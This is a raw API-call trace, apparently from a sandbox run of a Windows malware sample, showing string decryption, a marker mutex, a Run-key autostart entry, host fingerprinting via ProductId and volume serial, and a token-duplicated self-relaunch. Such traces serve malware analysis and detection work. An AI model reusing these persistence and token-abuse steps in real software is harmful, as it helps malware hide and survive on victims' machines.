[0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f978 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f988 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x12) returned 0x2f0f220 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f998 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ecd0 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f9a8 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ece8 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f9b8 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f9c8 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f9d8 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa) returned 0x2f0ed00 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0f9e8 [0056.173] GetProcessHeap () returned 0x2ef0000 [0056.173] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xa) returned 0x2f0ed18 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0f6d8 | out: hHeap=0x2ef0000) returned 1 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x4) returned 0x2f0f9f8 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc0) returned 0x2f0f6d8 [0056.174] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f240) returned 1 [0056.174] CryptDecrypt (in: hKey=0x2f0f240, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0f6d8, pdwDataLen=0x18f7d8 | out: pbData=0x2f0f6d8, pdwDataLen=0x18f7d8) returned 1 [0056.174] CryptDestroyKey (hKey=0x2f0f240) returned 1 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa08 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc) returned 0x2f0ed30 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa18 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xe) returned 0x2f0ed48 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa28 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x14) returned 0x2f0f240 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa38 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x16) returned 0x2f0f260 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa48 [0056.174] GetProcessHeap () returned 0x2ef0000 [0056.174] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0da80 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa58 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22) returned 0x2f0f7a0 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa68 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa78 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa88 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1a) returned 0x2f0dad0 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fa98 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0faa8 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fab8 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fac8 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0f6d8 | out: hHeap=0x2ef0000) returned 1 [0056.175] GetProcessHeap () returned 0x2ef0000 [0056.175] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x24) returned 0x2f0f7d0 [0056.175] GetShellWindow () returned 0x100f2 [0056.176] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x419a58 | out: lpdwProcessId=0x419a58) returned 0x458 [0056.176] GetProcessHeap () returned 0x2ef0000 [0056.176] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0db20 [0056.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f800) returned 1 [0056.177] CryptDecrypt (in: hKey=0x2f0f800, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0db20, pdwDataLen=0x18f7d8 | out: pbData=0x2f0db20, pdwDataLen=0x18f7d8) returned 1 [0056.177] CryptDestroyKey (hKey=0x2f0f800) returned 1 [0056.177] GetProcessHeap () returned 0x2ef0000 [0056.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0db48 [0056.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f800) returned 1 [0056.177] CryptDecrypt (in: hKey=0x2f0f800, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0db48, pdwDataLen=0x18f7d8 | out: pbData=0x2f0db48, pdwDataLen=0x18f7d8) returned 1 [0056.177] CryptDestroyKey (hKey=0x2f0f800) returned 1 [0056.177] GetProcessHeap () returned 0x2ef0000 [0056.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0db70 [0056.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f800) returned 1 [0056.177] CryptDecrypt (in: hKey=0x2f0f800, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0db70, pdwDataLen=0x18f7d8 | out: pbData=0x2f0db70, pdwDataLen=0x18f7d8) returned 1 [0056.177] CryptDestroyKey (hKey=0x2f0f800) returned 1 [0056.177] GetProcessHeap () returned 0x2ef0000 [0056.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0db98 [0056.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f800) returned 1 [0056.177] CryptDecrypt (in: hKey=0x2f0f800, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0db98, pdwDataLen=0x18f5b4 | out: pbData=0x2f0db98, pdwDataLen=0x18f5b4) returned 1 [0056.177] CryptDestroyKey (hKey=0x2f0f800) returned 1 [0056.177] GetProcessHeap () returned 0x2ef0000 [0056.177] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x60) returned 0x2f0f800 [0056.177] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f6d8) returned 1 [0056.177] CryptDecrypt (in: hKey=0x2f0f6d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0f800, pdwDataLen=0x18f5b4 | out: pbData=0x2f0f800, pdwDataLen=0x18f5b4) returned 1 [0056.178] CryptDestroyKey (hKey=0x2f0f6d8) returned 1 [0056.178] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f5b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0056.178] GetProcessHeap () returned 0x2ef0000 [0056.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0db98 | out: hHeap=0x2ef0000) returned 1 [0056.178] GetProcessHeap () returned 0x2ef0000 [0056.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0db98 [0056.178] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f6d8) returned 1 [0056.178] CryptDecrypt (in: hKey=0x2f0f6d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0db98, pdwDataLen=0x18f5b4 | out: pbData=0x2f0db98, pdwDataLen=0x18f5b4) returned 1 [0056.178] CryptDestroyKey (hKey=0x2f0f6d8) returned 1 [0056.178] GetProcessHeap () returned 0x2ef0000 [0056.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x60) returned 0x2f0f6d8 [0056.178] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f548, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.178] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0f6d8, pdwDataLen=0x18f5b4 | out: pbData=0x2f0f6d8, pdwDataLen=0x18f5b4) returned 1 [0056.178] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.178] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f5b8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0056.178] GetProcessHeap () returned 0x2ef0000 [0056.178] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0db98 | out: hHeap=0x2ef0000) returned 1 [0056.178] GetProcessHeap () returned 0x2ef0000 [0056.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x1e) returned 0x2f0db98 [0056.178] GetProcessHeap () returned 0x2ef0000 [0056.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x12) returned 0x2f0f280 [0056.178] GetProcessHeap () returned 0x2ef0000 [0056.178] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0dbc0 [0056.178] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f778, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.178] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0dbc0, pdwDataLen=0x18f7d8 | out: pbData=0x2f0dbc0, pdwDataLen=0x18f7d8) returned 1 [0056.179] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.179] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="m23071644") returned 0xbc [0056.179] GetLastError () returned 0x0 [0056.179] GetProcessHeap () returned 0x2ef0000 [0056.179] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0dbc0 | out: hHeap=0x2ef0000) returned 1 [0056.179] GetProcessHeap () returned 0x2ef0000 [0056.179] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x60) returned 0x2f10480 [0056.179] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18ef30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.179] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f10480, pdwDataLen=0x18ef94 | out: pbData=0x2f10480, pdwDataLen=0x18ef94) returned 1 [0056.179] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18ef80 | out: phkResult=0x18ef80*=0xb8) returned 0x0 [0056.180] RegSetValueExW (in: hKey=0xb8, lpValueName="1", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\"", cbData=0x74 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\"") returned 0x0 [0056.181] RegCloseKey (hKey=0xb8) returned 0x0 [0056.181] GetProcessHeap () returned 0x2ef0000 [0056.181] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f10480 | out: hHeap=0x2ef0000) returned 1 [0056.181] GetProcessHeap () returned 0x2ef0000 [0056.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c7c0 [0056.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f320, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.181] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c7c0, pdwDataLen=0x18f390 | out: pbData=0x2f0c7c0, pdwDataLen=0x18f390) returned 1 [0056.181] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.181] GetProcessHeap () returned 0x2ef0000 [0056.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0dbc0 [0056.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f320, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.181] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0dbc0, pdwDataLen=0x18f390 | out: pbData=0x2f0dbc0, pdwDataLen=0x18f390) returned 1 [0056.181] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.181] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f38c | out: phkResult=0x18f38c*=0xb8) returned 0x0 [0056.182] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18f398, lpcbData=0x18f394*=0x400 | out: lpType=0x0, lpData=0x18f398*=0x30, lpcbData=0x18f394*=0x18) returned 0x0 [0056.182] RegCloseKey (hKey=0xb8) returned 0x0 [0056.182] GetProcessHeap () returned 0x2ef0000 [0056.182] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c7c0 | out: hHeap=0x2ef0000) returned 1 [0056.182] GetProcessHeap () returned 0x2ef0000 [0056.182] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0dbc0 | out: hHeap=0x2ef0000) returned 1 [0056.182] GetProcessHeap () returned 0x2ef0000 [0056.182] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f0dbc0 [0056.182] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f100, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.182] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0dbc0, pdwDataLen=0x18f164 | out: pbData=0x2f0dbc0, pdwDataLen=0x18f164) returned 1 [0056.182] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.182] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18f168, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0056.182] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18f160, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18f160*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.183] GetProcessHeap () returned 0x2ef0000 [0056.183] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0dbc0 | out: hHeap=0x2ef0000) returned 1 [0056.183] wsprintfA (in: param_1=0x18f3af, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0056.183] GetProcessHeap () returned 0x2ef0000 [0056.183] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8) returned 0x2f0fad8 [0056.184] GetProcessHeap () returned 0x2ef0000 [0056.184] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c7c0 [0056.185] GetProcessHeap () returned 0x2ef0000 [0056.185] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f10480 [0056.185] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f730, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.186] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f10480, pdwDataLen=0x18f798 | out: pbData=0x2f10480, pdwDataLen=0x18f798) returned 1 [0056.186] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.186] GetProcessHeap () returned 0x2ef0000 [0056.186] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x80) returned 0x2f10508 [0056.186] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f730, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f0f740) returned 1 [0056.186] CryptDecrypt (in: hKey=0x2f0f740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f10508, pdwDataLen=0x18f798 | out: pbData=0x2f10508, pdwDataLen=0x18f798) returned 1 [0056.186] CryptDestroyKey (hKey=0x2f0f740) returned 1 [0056.186] GetExitCodeProcess (in: hProcess=0x0, lpExitCode=0x18f7b8 | out: lpExitCode=0x18f7b8*=0x2f0dbc0) returned 0 [0056.186] Wow64DisableWow64FsRedirection (in: OldValue=0x18f7c0 | out: OldValue=0x18f7c0*=0x0) returned 1 [0056.186] GetCurrentProcessId () returned 0xa30 [0056.186] wsprintfW (in: param_1=0x18ef98, param_2="\"%s\" n%u" | out: param_1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" n2608") returned 63 [0056.187] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x454) returned 0xb8 [0056.187] OpenProcessToken (in: ProcessHandle=0xb8, DesiredAccess=0x2000000, TokenHandle=0x18ef24 | out: TokenHandle=0x18ef24*=0xc0) returned 1 [0056.187] DuplicateTokenEx (in: hExistingToken=0xc0, dwDesiredAccess=0x2000000, lpTokenAttributes=0x18ef30, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x18ef20 | out: phNewToken=0x18ef20*=0xc4) returned 1 [0056.187] CreatePipe (in: hReadPipe=0x18ef2c, hWritePipe=0x18ef28, lpPipeAttributes=0x18ef30, nSize=0x0 | out: hReadPipe=0x18ef2c*=0xcc, hWritePipe=0x18ef28*=0xd0) returned 1 [0056.188] CreateProcessWithTokenW (in: hToken=0xc4, dwLogonFlags=0x0, lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" n2608", dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ef50*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0xd0, hStdError=0xd0), lpProcessInformation=0x18ef40 | out: lpCommandLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\opboohpueclon.exe\" n2608", lpProcessInformation=0x18ef40*(hProcess=0x11c, hThread=0x120, dwProcessId=0x32c, dwThreadId=0x6a4)) returned 1 [0056.360] CloseHandle (hObject=0x120) returned 1 [0056.360] CloseHandle (hObject=0xc4) returned 1 [0056.360] CloseHandle (hObject=0xc0) returned 1 [0056.360] CloseHandle (hObject=0xb8) returned 1 [0056.360] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0056.360] GetProcessHeap () returned 0x2ef0000 [0056.360] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c970 [0056.360] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f500, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.360] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c970, pdwDataLen=0x18f568 | out: pbData=0x2f0c970, pdwDataLen=0x18f568) returned 1 [0056.360] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.360] GetProcessHeap () returned 0x2ef0000 [0056.361] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c9b8 [0056.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f500, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.361] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c9b8, pdwDataLen=0x18f568 | out: pbData=0x2f0c9b8, pdwDataLen=0x18f568) returned 1 [0056.361] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.361] GetProcessHeap () returned 0x2ef0000 [0056.361] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f10590 [0056.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f500, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.361] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f10590, pdwDataLen=0x18f568 | out: pbData=0x2f10590, pdwDataLen=0x18f568) returned 1 [0056.361] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.361] GetProcessHeap () returned 0x2ef0000 [0056.361] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0ca00 [0056.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f0d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.361] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0ca00, pdwDataLen=0x18f148 | out: pbData=0x2f0ca00, pdwDataLen=0x18f148) returned 1 [0056.361] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.361] GetProcessHeap () returned 0x2ef0000 [0056.361] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f110e8 [0056.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18f0d8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.361] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f110e8, pdwDataLen=0x18f148 | out: pbData=0x2f110e8, pdwDataLen=0x18f148) returned 1 [0056.361] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.361] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x18f144 | out: phkResult=0x18f144*=0xb8) returned 0x0 [0056.362] RegQueryValueExA (in: hKey=0xb8, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x18f150, lpcbData=0x18f14c*=0x400 | out: lpType=0x0, lpData=0x18f150*=0x30, lpcbData=0x18f14c*=0x18) returned 0x0 [0056.362] RegCloseKey (hKey=0xb8) returned 0x0 [0056.362] GetProcessHeap () returned 0x2ef0000 [0056.362] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ca00 | out: hHeap=0x2ef0000) returned 1 [0056.362] GetProcessHeap () returned 0x2ef0000 [0056.362] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0056.362] GetProcessHeap () returned 0x2ef0000 [0056.362] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f110e8 [0056.362] CryptImportKey (in: hProv=0x2f0c268, pbData=0x18eeb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f152d0) returned 1 [0056.362] CryptDecrypt (in: hKey=0x2f152d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f110e8, pdwDataLen=0x18ef1c | out: pbData=0x2f110e8, pdwDataLen=0x18ef1c) returned 1 [0056.362] CryptDestroyKey (hKey=0x2f152d0) returned 1 [0056.362] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x18ef20, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0056.362] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x18ef18, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18ef18*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.362] GetProcessHeap () returned 0x2ef0000 [0056.362] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f110e8 | out: hHeap=0x2ef0000) returned 1 [0056.363] wsprintfA (in: param_1=0x18f167, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0056.363] 